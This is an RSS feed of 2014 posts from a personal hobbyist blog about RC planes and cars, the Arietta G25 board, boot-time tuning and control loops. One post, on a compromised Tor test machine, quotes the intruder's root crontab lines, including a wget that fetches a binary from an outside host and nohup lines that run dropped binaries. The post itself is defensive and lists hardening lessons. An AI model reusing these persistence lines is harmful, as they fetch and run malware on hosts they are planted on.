    <item>
      <title>Dogfighter settings</title>
      <link>https://juju.nz/michaelh/2014/07/dogfighter-settings/</link>
      <pubDate>Sat, 19 Jul 2014 13:10:41 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/07/dogfighter-settings/</guid>
      <description>&lt;p&gt;I’m quite enjoying my 
&lt;a href=&#34;http://www.multiplex-rc.de/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Multiplex&lt;/a&gt; 
&lt;a href=&#34;http://www.multiplex-rc.de/en/products/categories/products/details/productgroup/rc-accessories/productcategory/elapor-models/product/rr-dogfighter-sr.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Dogfighter&lt;/a&gt;. I just fitted a new spinner and mount to replace the one chipped in a crash, and it’s smooth and quiet again at full throttle. It’s a crazy tough model plane.&lt;/p&gt;
&lt;p&gt;For reference, here’s the settings I use on my Futaba remote:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aileron: rate 60 % exponential -40 %
&lt;ul&gt;
&lt;li&gt;Elevator: rate 100 % exponential -20 %
&lt;ul&gt;
&lt;li&gt;Flaperons: -30 %
&lt;ul&gt;
&lt;li&gt;Air brake: Aileron +50 % Elevator +11 % Flaps: +50 % &lt;/ul&gt;
This is quite docile. The flaperons could be more negative.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Console on a old Nokia display</title>
      <link>https://juju.nz/michaelh/2014/07/console-on-a-old-nokia-display/</link>
      <pubDate>Tue, 15 Jul 2014 18:34:59 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/07/console-on-a-old-nokia-display/</guid>
      <description>&lt;p&gt;After a night of hacking I have the cutest console ever: fbcon on my 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta G25&lt;/a&gt; showing on a 84×48 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/LCD/MOD-LCD3310/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Nokia 3310 LCD&lt;/a&gt; thanks to 
&lt;a href=&#34;https://github.com/notro/fbtft&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;fbtft&lt;/a&gt;. The nice thing is it’s tiny enough to fit on my RC car but shows as a standard framebuffer so will work with everything.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-950x1024.jpg&#34; alt=&#34;zoom&#34; width=&#34;584&#34; height=&#34;629&#34; class=&#34;aligncenter size-large wp-image-201&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-950x1024.jpg 950w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-278x300.jpg 278w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom.jpg 1156w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-743x1024.jpg&#34; alt=&#34;IMG_20140715_201811&#34; width=&#34;584&#34; height=&#34;804&#34; class=&#34;aligncenter size-large wp-image-202&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-743x1024.jpg 743w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-217x300.jpg 217w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;There’s two versions of the display with two controller chips. fbtft required some patching which I’ll send upstream after company review.&lt;/p&gt;
&lt;p&gt;I’m tempted to put 
&lt;a href=&#34;https://www.google.com/search?q=moon&amp;#43;gerty&amp;amp;tbm=isch&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;GERTY&lt;/a&gt;‘s face from Moon on it while it drives about.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Shorter boot time on the Arietta G25</title>
      <link>https://juju.nz/michaelh/2014/07/shorter-boot-time-on-the-arietta-g25/</link>
      <pubDate>Sun, 13 Jul 2014 19:25:45 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/07/shorter-boot-time-on-the-arietta-g25/</guid>
      <description>&lt;p&gt;Short story: my 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta G25&lt;/a&gt; now boots to prompt in 3.9 s instead of the stock 50.7 s. Nice.&lt;/p&gt;
&lt;p&gt;I had a hack about with reducing the boot time of the Arietta G25 ARM9 based Linux board. I’m planning on doing some kernel hacking so shorter is better as it cuts the build/push/test cycle down.&lt;/p&gt;
&lt;p&gt;My log is 
&lt;a href=&#34;https://juju.nz/michaelh/michaelh/nppilot/boottime.html&#34;&gt;here&lt;/a&gt;. I pulled the usual tricks like switching to custom init scripts (eck), dropping udev for mdev, and doing things like USB Ethernet initialisation as late as possible.&lt;/p&gt;
&lt;p&gt;I had a few surprises: LZO is faster than Gzip (despite being bigger and taking longer to load from SD), -O2 is faster to boot than -Os (despite being heavier on the cache), and switching from 115200 baud to 460800 also made a difference.&lt;/p&gt;
&lt;p&gt;This is all against a Chromebook host with Crouton. The USB Ethernet also works fine once I switched the board from EEM to ECM mode.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Arietta 25</title>
      <link>https://juju.nz/michaelh/2014/06/arietta-25/</link>
      <pubDate>Sun, 29 Jun 2014 19:51:29 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/06/arietta-25/</guid>
      <description>&lt;p&gt;I picked up two 
&lt;a href=&#34;http://www.acmesystems.it/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Acme Systems&lt;/a&gt; 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta G25&lt;/a&gt;‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.&lt;/p&gt;
&lt;p&gt;Some random notes:&lt;/p&gt;
&lt;p&gt;The board shows up as a 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Ethernet_over_USB&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;USB CDC EEM&lt;/a&gt; Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the 
&lt;a href=&#34;https://chromium.googlesource.com/chromiumos/third_party/kernel/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;chromeos-3.8.11&lt;/a&gt; EEM driver from source and it worked just fine.&lt;/p&gt;
&lt;p&gt;The usual SSH port forwarding trick works well for installing extra packages. Run 
&lt;a href=&#34;http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Polipo&lt;/a&gt; somewhere on your network, SSH into the board with port forwarding (&lt;code&gt;-R 8123:proxy-name:8123&lt;/code&gt;), set the proxy (&lt;code&gt;export http_proxy=http://localhost:8123/&lt;/code&gt;), and apt-get away.&lt;/p&gt;
&lt;p&gt;The default hostname is arietta. Add it to the localhost line in &lt;code&gt;/etc/hosts&lt;/code&gt; to make sudo faster.&lt;/p&gt;
&lt;p&gt;The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try &lt;code&gt;GOARCH=arm GOARM=5 go build&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses &lt;code&gt;#include&lt;/code&gt; and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Some grass trimming</title>
      <link>https://juju.nz/michaelh/2014/06/some-grass-trimming/</link>
      <pubDate>Sun, 22 Jun 2014 17:38:25 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/06/some-grass-trimming/</guid>
      <description>&lt;p&gt;Two good runs with my plane today, including a good looking flare out on the second landing. The plane pulled up, stalled, and correctly came down on its belly.&lt;/p&gt;
&lt;p&gt;The very first try was… unfortunate. I decided to take off down wind so I could have the sun behind me and a good, empty field in front. The plane stalled and somehow went to full throttle, cutting grass and leaving this for a propeller:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-1024x768.jpg&#34; alt=&#34;Not much left of the prop&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-179&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Up and down again</title>
      <link>https://juju.nz/michaelh/2014/06/up-and-down-again/</link>
      <pubDate>Sun, 01 Jun 2014 10:03:59 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/06/up-and-down-again/</guid>
      <description>&lt;p&gt;This is what success with a Multiplex Dogfighter looks like:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-768x1024.jpg&#34; alt=&#34;Right side up&#34; width=&#34;584&#34; height=&#34;778&#34; class=&#34;aligncenter size-large wp-image-173&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-768x1024.jpg 768w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-225x300.jpg 225w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The canopy is on, the wing is on, and the battery isn’t kissing the motor. Success!&lt;/p&gt;
&lt;p&gt;Pro tip: wear long pants when flying else the long grass will make you regret.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog</title>
      <link>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</link>
      <pubDate>Tue, 22 Apr 2014 17:25:12 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</guid>
      <description>&lt;p&gt;Seeing messages like &lt;code&gt;sshd[28778]: PAM service(sshd) ignoring max retries; 6 &amp;gt; 3&lt;/code&gt; in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add &lt;code&gt;MaxAuthTries 3&lt;/code&gt; to &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Huffman coding on NMEA sentances</title>
      <link>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</link>
      <pubDate>Sun, 13 Apr 2014 19:12:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</guid>
      <description>&lt;p&gt;I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.&lt;/p&gt;
&lt;p&gt;For comparison, on my 135,548 byte test file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Treating each character as a symbol gives 58,749 B (2.30x)
&lt;ul&gt;
&lt;li&gt;Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
&lt;ul&gt;
&lt;li&gt;lzop gives 22,161 B (6.12x)
&lt;ul&gt;
&lt;li&gt;gzip gives 12,167 B (11.2x) &lt;/ul&gt;
The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the 
&lt;a href=&#34;https://www.google.com/maps/place/Sportplatz&amp;#43;Allmend&amp;#43;Brunau/@47.35544,8.521636,17z/data=!3m1!4b1!4m2!3m1!1s0x479009ef454e0d5f:0xac77c825eb303954&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Allmend&lt;/a&gt;. Off the shelf is too easy.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Three days to posession</title>
      <link>https://juju.nz/michaelh/2014/03/three-days-to-posession/</link>
      <pubDate>Mon, 31 Mar 2014 18:19:57 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/03/three-days-to-posession/</guid>
      <description>&lt;p&gt;As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.&lt;/p&gt;
&lt;p&gt;So the lessons are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always clear the root password.
&lt;ul&gt;
&lt;li&gt;Disable root login in sshd_config.
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Disable password logins in sshd_config and use keys only. &lt;/ul&gt;
The particular virus uses Perl to run a script that masquerades as &lt;tt&gt;/usr/sbin/apache/log&lt;/tt&gt;. It overwrites &lt;tt&gt;/var/spool/cron/crontab/root&lt;/tt&gt; to fetch various things over reboot including writing various binaries like &lt;tt&gt;/etc/atddd&lt;/tt&gt;. Some example lines:&lt;/p&gt;
&lt;pre&gt;*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;*/99 * * * * nohup /etc/cupsdd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
*/100 * * * * nohup /etc/kysapd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
&lt;/pre&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        These are all x86 statically linked binaries. I don&amp;amp;#8217;t think they&amp;amp;#8217;re run too good on ARM 🙂
        
        Time to nuke the system. It&amp;amp;#8217;s the only way to be sure.&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Mugs</title>
      <link>https://juju.nz/michaelh/note/mugs/</link>
      <pubDate>Mon, 17 Mar 2014 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/mugs/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;thats_a_lot_of_mugs.jpg&#34; alt=&#34;Mugs, mugs, mugs.&#34;&gt;&lt;/p&gt;
&lt;p&gt;From left to right:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prague for the 2010-07 sprint&lt;/li&gt;
&lt;li&gt;Orlando, Florida for the 2010-10 LDS&lt;/li&gt;
&lt;li&gt;Budapest for the 2011-05 LDS&lt;/li&gt;
&lt;li&gt;Dallas, Texas for the 2011-01 sprint&lt;/li&gt;
&lt;li&gt;San Francisco, California for the 2012-02 Connect&lt;/li&gt;
&lt;li&gt;Orlando, Florida for the 2011-10 Connect&lt;/li&gt;
&lt;li&gt;Brisbane, Australia for the 2011-01 LCA&lt;/li&gt;
&lt;li&gt;Hong Kong for the 2012-05 Connect&lt;/li&gt;
&lt;li&gt;San Diego, California for the 2012-08 Plumbers&lt;/li&gt;
&lt;li&gt;Copenhagen, Denmark for the 2012-10 Connect&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;rsquo;m missing a Cambridge mug for the 2011-08 Connect and Shenzhen for
2011-11.&lt;/p&gt;
&lt;p&gt;And around the world:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;Around_the_world.jpg&#34; alt=&#34;All around the world.&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>First flying of the year</title>
      <link>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</link>
      <pubDate>Sun, 23 Feb 2014 15:03:03 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</guid>
      <description>&lt;p&gt;I dusted my 
&lt;a href=&#34;http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;T-28 Trojan&lt;/a&gt; off and took it for a fly in the 
&lt;a href=&#34;https://goo.gl/maps/ZBqkB&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Allmend&lt;/a&gt; today. Hard to say no to such nice weather. I could even feel my fingers when I got back!&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg&#34; alt=&#34;IMG_20140223_155354&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-151&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Unstable heading</title>
      <link>https://juju.nz/michaelh/2014/02/unstable-heading/</link>
      <pubDate>Sun, 16 Feb 2014 19:48:42 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/unstable-heading/</guid>
      <description>&lt;p&gt;The replacement wishbone arrived so the cars in good shape, but still no luck with the heading controller. I can get it to slowly oscillate along a straight line by using a low Kp and restricting the steering, but the step response is poor. Adding a differential term based off the GPS heading didn’t help and showed up the high frequency noise you’d expect from a differential.&lt;/p&gt;
&lt;p&gt;I suspect there’s quite a bit of lag in the GPS heading and that it has a hard time calculating on tight, small radius turns. This seems reasonable as the heading must come from the velocity angle or difference in position. Measuring and plotting would help…&lt;/p&gt;
&lt;p&gt;Next step is to wire up the MPU-6050 based gyro I got off ebay. 
&lt;a href=&#34;http://www.i2cdevlib.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;i2cdevlib&lt;/a&gt; has a driver for it that uses the 
&lt;a href=&#34;https://code.google.com/p/simplo/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Fastwire&lt;/a&gt; ATMEGA I2C library, but I’ve stripped out so much there’s not much original code left. The board is physically a bit tight so it’ll be tricky to fit.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Heading controller progress</title>
      <link>https://juju.nz/michaelh/2014/02/heading-controller-progress/</link>
      <pubDate>Sun, 02 Feb 2014 16:55:18 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/heading-controller-progress/</guid>
      <description>&lt;p&gt;The heading controller is basically working. The big changes were reducing the maximum steering angle to reducing how much trouble the controller can get itself into, and putting the gain on the dial so I could tune it while driving. There’s still a lot of slow oscillation so I I’ll add a differential term to counter how steering angle integrates to heading.&lt;/p&gt;
&lt;p&gt;The reliability problem has gone after switching from the golang 
&lt;a href=&#34;http://golang.org/cmd/gc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;gc&lt;/a&gt; compiler to 
&lt;a href=&#34;http://gcc.gnu.org/onlinedocs/gccgo/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;gccgo&lt;/a&gt;. I think there’s a problem with the runtime as the whole app locks up and gdb reports all threads being in a function with ‘futex’ in the name. I want to report this to the golang team, but how do you reduce “a 10 thread 1000 line program, on ARM, on a random kernel, in the cold, in a noisy environment, sometimes locks up after 10 minutes of activity.”&lt;/p&gt;
&lt;p&gt;Next step is the differential term. I only have GPS heading so I’ll look at the run data and see how noisy the heading differential is. Getting a 
&lt;a href=&#34;http://www.adafruit.com/products/1032&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;gyro&lt;/a&gt; is tempting.&lt;/p&gt;
&lt;p&gt;Actually, the zeroth step is replacing the 
&lt;a href=&#34;http://www.conrad.ch/ce/de/product/232789/Reely-EL347FEL347R-Ersatzteil-Untere-Querlenker-vorne-hinten&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;front wishbone&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-300x225.jpg&#34; alt=&#34;IMG_20140202_165208&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-138&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I must have half broken it in the first Great Crash, and last nights glue job didn’t hold. Conrad want an excessive 50 CHF including shipping for two of them and a new bumper. German word of the day: a bumper is the much more awesome 
&lt;a href=&#34;http://www.conrad.ch/ce/de/product/223353/Reely-MV1401-Ersatzteil-Frontrammer&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Frontrammer&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding watchdogs to track down a halt</title>
      <link>https://juju.nz/michaelh/2014/02/adding-a-watchdog-to-track-down-a-halt/</link>
      <pubDate>Sat, 01 Feb 2014 20:39:17 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/adding-a-watchdog-to-track-down-a-halt/</guid>
      <description>&lt;p&gt;The car controller is dropping out now and again for no obvious reason. I thought it was due to the cold changing the internal RC oscillator frequency and making the serial communications unreliable, but I’ve switched to a 12 MHz crystal and it’s no better. The problem doesn’t happen inside, so I suspect it’s interference from the motor causing a serial error which the serial driver locks up on. Restarting the program without resetting the hardware clears the fault so I should be able to handle it in software as well.&lt;/p&gt;
&lt;p&gt;I’ve added a watchdog on all of the interesting dimensions: GPS data, GPS lock, input from the remote, heartbeats from the board, and two-way communications via a ping. Hopefully the fault will now show up in the logs.&lt;/p&gt;
&lt;p&gt;I’ll dump the message and error counter to the log as well to see if the rates change when driving.&lt;/p&gt;
&lt;p&gt;Heh, next thing you know my car will be running Borgmon…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fixing bad AVR fuses the hard(er) way</title>
      <link>https://juju.nz/michaelh/2014/01/fixing-bad-avr-fuses-the-harder-way/</link>
      <pubDate>Wed, 29 Jan 2014 20:01:40 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/fixing-bad-avr-fuses-the-harder-way/</guid>
      <description>&lt;p&gt;Lesson for the day: always put the big ICs in sockets. I fitted a crystal to the AVR on the interface board yesterday and managed to brick the chip by setting the fuse values to use an oscillator that didn’t exist. Thanks for the day: the person who invented 
&lt;a href=&#34;http://en.wikipedia.org/wiki/Desoldering#Desoldering_braid&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;desoldering braid&lt;/a&gt;. It’s awesome and got the pins clean enough that I could just lever the old chip out.&lt;/p&gt;
&lt;p&gt;I’ve now fitted a socket, a new processor, and gone to a 12 MHz crystal. This should take care of the serial baud rate problems when the chip is cold and gives me a bit more resolution on the control signals out to the servos.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Heading controller tests</title>
      <link>https://juju.nz/michaelh/2014/01/heading-controller-tests/</link>
      <pubDate>Sun, 26 Jan 2014 20:27:40 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/heading-controller-tests/</guid>
      <description>&lt;p&gt;The heading controller didn’t work out as well. I had one bug when converting from 0..360 degrees to -Pi..Pi radians, but most of the problems were due to reliability and a lack of speed.&lt;/p&gt;
&lt;p&gt;You need quite a bit of room when testing as you need to go &amp;gt; 15 km/h to get a good heading from the GPS and to give the wheels something to turn against. Using the three position switch to change modes and dump back into manual mode works well, so I only had a few low speed bumps.&lt;/p&gt;
&lt;p&gt;There’s a reliability problem in the communications between the I/O board and the BeagleBone which I suspect is due to temperature. I’m using the internal RC osciallator on the AVR and, according to the datasheet, the frequency may change ~0.1 MHz between my normal toasty testing place inside and the zero degrees outside. Time to fit a crystal and perhaps take it up to 20 MHz at the same time to give lower noise in the software PWM. The upgrade may be fun as I’ve soldered the AVR onto the board – if I burn the fuses wrong then I don’t know if I can recover the chip without desoldering it.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Speed controller test</title>
      <link>https://juju.nz/michaelh/2014/01/speed-controller-test/</link>
      <pubDate>Sun, 19 Jan 2014 16:26:20 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/speed-controller-test/</guid>
      <description>&lt;p&gt;The speed controller is working well. It’s a simple PI controller but was easy to tune and handles the moderate slope of the road OK. The speed wasn’t very stable at 10 km/s as the motor and gearing doesn’t like going that low, but it was much better at 17.5 km/h (Ethan suggested 20, I suggested 15, we compromised).&lt;/p&gt;
&lt;p&gt;Adding the ‘P’ term made a big difference to the step response.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/video/Speed%20Controller%20Test.mp4&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Speed controller test&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>It’s oscillating!</title>
      <link>https://juju.nz/michaelh/2014/01/its-oscillating/</link>
      <pubDate>Sun, 12 Jan 2014 19:38:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/its-oscillating/</guid>
      <description>&lt;p&gt;I’ve hooked in the demands from the rover to the control board and added a simple PID based speed controller. The three position switch on the remote takes the car from manual control to auto with speed=0 to auto with speed=10 km/h. I’ve hooked in the dial on the remote to change the Ki term so I can fiddle with the response while the car is running.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-300x225.jpg&#34; alt=&#34;IMG_20140112_153303&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-114&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-300x225.jpg&#34; alt=&#34;IMG_20140112_153220&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-116&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
